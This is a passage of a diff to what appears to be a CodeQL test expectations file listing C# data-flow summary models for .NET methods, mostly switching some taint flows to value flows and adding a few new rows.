System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;PointConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;Rectangle;Inflate;(System.Drawing.Rectangle,System.Int32,System.Int32);Argument[0];ReturnValue;value;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;RectangleConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;RectangleF;Inflate;(System.Drawing.RectangleF,System.Single,System.Single);Argument[0];ReturnValue;value;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;SizeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;SizeFConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Dynamic;BinaryOperationBinder;FallbackBinaryOperation;(System.Dynamic.DynamicMetaObject,System.Dynamic.DynamicMetaObject,System.Dynamic.DynamicMetaObject);Argument[2];ReturnValue;value;dfc-generated | | System.Dynamic;BindingRestrictions;Combine;(System.Collections.Generic.IList);Argument[0].Element;ReturnValue;taint;df-generated | @@ -8686,7 +8884,7 @@ | System.Globalization;CultureInfo;GetCultureInfo;(System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;GetCultureInfo;(System.String,System.String);Argument[1];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;GetCultureInfoByIetfLanguageTag;(System.String);Argument[0];ReturnValue;taint;df-generated | -| System.Globalization;CultureInfo;ReadOnly;(System.Globalization.CultureInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Globalization;CultureInfo;ReadOnly;(System.Globalization.CultureInfo);Argument[0];ReturnValue;value;df-generated | | System.Globalization;CultureInfo;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;get_Calendar;();Argument[this];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;get_DisplayName;();Argument[this];ReturnValue;taint;df-generated | @@ -9637,11 +9835,11 @@ | System.Linq.Expressions;Expression;Unbox;(System.Linq.Expressions.Expression,System.Type);Argument[0];ReturnValue.Property[System.Linq.Expressions.UnaryExpression.Operand];value;dfc-generated | | System.Linq.Expressions;Expression;Variable;(System.Type,System.String);Argument[1];ReturnValue.Property[System.Linq.Expressions.ParameterExpression.Name];value;dfc-generated | | System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];Argument[0];taint;df-generated | -| System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;taint;df-generated | +| System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;value;df-generated | | System.Linq.Expressions;Expression;Update;(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable);Argument[1].Element;ReturnValue;taint;df-generated | | System.Linq.Expressions;Expression;Update;(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0].Element;Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;hq-generated | @@ -9650,15 +9848,15 @@ | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0].Element;Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitBlock;(System.Linq.Expressions.BlockExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitCatchBlock;(System.Linq.Expressions.CatchBlock);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitConstant;(System.Linq.Expressions.ConstantExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitDebugInfo;(System.Linq.Expressions.DebugInfoExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitDefault;(System.Linq.Expressions.DefaultExpression);Argument[0];ReturnValue;value;dfc-generated | @@ -9666,22 +9864,22 @@ | System.Linq.Expressions;ExpressionVisitor;VisitElementInit;(System.Linq.Expressions.ElementInit);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitExtension;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLabel;(System.Linq.Expressions.LabelExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLabelTarget;(System.Linq.Expressions.LabelTarget);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLambda;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitListInit;(System.Linq.Expressions.ListInitExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLoop;(System.Linq.Expressions.LoopExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberInit;(System.Linq.Expressions.MemberInitExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberListBinding;(System.Linq.Expressions.MemberListBinding);Argument[0].Property[System.Linq.Expressions.MemberListBinding.Initializers];ReturnValue.Property[System.Linq.Expressions.MemberListBinding.Initializers];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberListBinding;(System.Linq.Expressions.MemberListBinding);Argument[0];ReturnValue;value;dfc-generated | @@ -10137,7 +10335,7 @@ | System.Linq;Enumerable;SingleOrDefault;(System.Collections.Generic.IEnumerable,TSource);Argument[0].Element;ReturnValue;value;dfc-generated | | System.Linq;Enumerable;SingleOrDefault;(System.Collections.Generic.IEnumerable,TSource);Argument[1];ReturnValue;value;dfc-generated | | System.Linq;Enumerable;Skip;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0].Element;ReturnValue.Element;value;manual | -| System.Linq;Enumerable;SkipLast;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq;Enumerable;SkipLast;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0];ReturnValue;value;df-generated | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;manual | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[0].Element;ReturnValue.Element;value;manual | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;manual | @@ -11698,6 +11896,7 @@ | System.Net;HttpListenerRequest;get_ProtocolVersion;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_RawUrl;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_Url;();Argument[this];ReturnValue;taint;df-generated | +| System.Net;HttpListenerRequest;get_UrlReferrer;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_UserAgent;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_UserHostName;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerResponse;AppendCookie;(System.Net.Cookie);Argument[0];Argument[this].Property[System.Net.HttpListenerResponse.Cookies].Element;value;dfc-generated | @@ -12545,7 +12744,7 @@ | System.Reflection;MethodInfo;get_ReturnParameter;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInfo;get_ReturnType;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInfo;get_ReturnTypeCustomAttributes;();Argument[this];ReturnValue;taint;df-generated | -| System.Reflection;MethodInfoExtensions;GetBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Reflection;MethodInfoExtensions;GetBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;value;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object);Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object,System.Object);Argument[0];Argument[this];taint;df-generated | @@ -12631,7 +12830,7 @@ | System.Reflection;ReflectionTypeLoadException;get_Message;();Argument[this].Property[System.Exception.Message];ReturnValue;value;dfc-generated | | System.Reflection;ReflectionTypeLoadException;get_Message;();Argument[this].SyntheticField[System.Exception._message];ReturnValue;value;dfc-generated | | System.Reflection;RuntimeReflectionExtensions;GetMethodInfo;(System.Delegate);Argument[0].Property[System.Delegate.Method];ReturnValue;value;dfc-generated | -| System.Reflection;RuntimeReflectionExtensions;GetRuntimeBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Reflection;RuntimeReflectionExtensions;GetRuntimeBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;value;df-generated | | System.Reflection;RuntimeReflectionExtensions;GetRuntimeInterfaceMap;(System.Reflection.TypeInfo,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Reflection;TypeFilter;BeginInvoke;(System.Type,System.Object,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Reflection;TypeInfo;AsType;();Argument[this];ReturnValue;value;dfc-generated | @@ -13080,8 +13279,12 @@ | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;ToString;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customServiceNames].Element;ReturnValue;taint;dfc-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;get_CustomChannelBinding;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customChannelBinding];ReturnValue;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;get_CustomServiceNames;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customServiceNames];ReturnValue;value;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.Collections.IEnumerable);Argument[0].Element;ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.Collections.IEnumerable);Argument[0].Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.String);Argument[0];ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | @@ -13733,7 +13936,7 @@ | System.Text.RegularExpressions;GroupCollection;get_Item;(System.String);Argument[this].Element;ReturnValue;value;manual | | System.Text.RegularExpressions;GroupCollection;get_Keys;();Argument[this];ReturnValue;taint;df-generated | | System.Text.RegularExpressions;GroupCollection;get_Values;();Argument[this];ReturnValue;taint;df-generated | -| System.Text.RegularExpressions;Match;NextMatch;();Argument[this];ReturnValue;taint;df-generated | +| System.Text.RegularExpressions;Match;NextMatch;();Argument[this];ReturnValue;value;df-generated | | System.Text.RegularExpressions;Match;Synchronized;(System.Text.RegularExpressions.Match);Argument[0];ReturnValue;value;dfc-generated | | System.Text.RegularExpressions;MatchCollection;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Text.RegularExpressions;MatchEvaluator;BeginInvoke;(System.Text.RegularExpressions.Match,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -14356,13 +14559,13 @@ | System.Threading.Tasks;Task;Task;(System.Action,System.Object,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | | System.Threading.Tasks;Task;Task;(System.Action,System.Object,System.Threading.Tasks.TaskCreationOptions);Argument[1];Argument[0].Parameter[0];value;manual | | System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[1];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[2];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WhenAll;(System.Collections.Generic.IEnumerable>);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | | System.Threading.Tasks;Task;WhenAll;(System.ReadOnlySpan>);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | | System.Threading.Tasks;Task;WhenAll;(System.Threading.Tasks.Task[]);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | @@ -14463,11 +14666,11 @@ | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.CancellationToken,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.Tasks.TaskCreationOptions);Argument[0].ReturnValue;Argument[this].Property[System.Threading.Tasks.Task`1.Result];value;manual | | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | -| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;taint;df-generated | -| 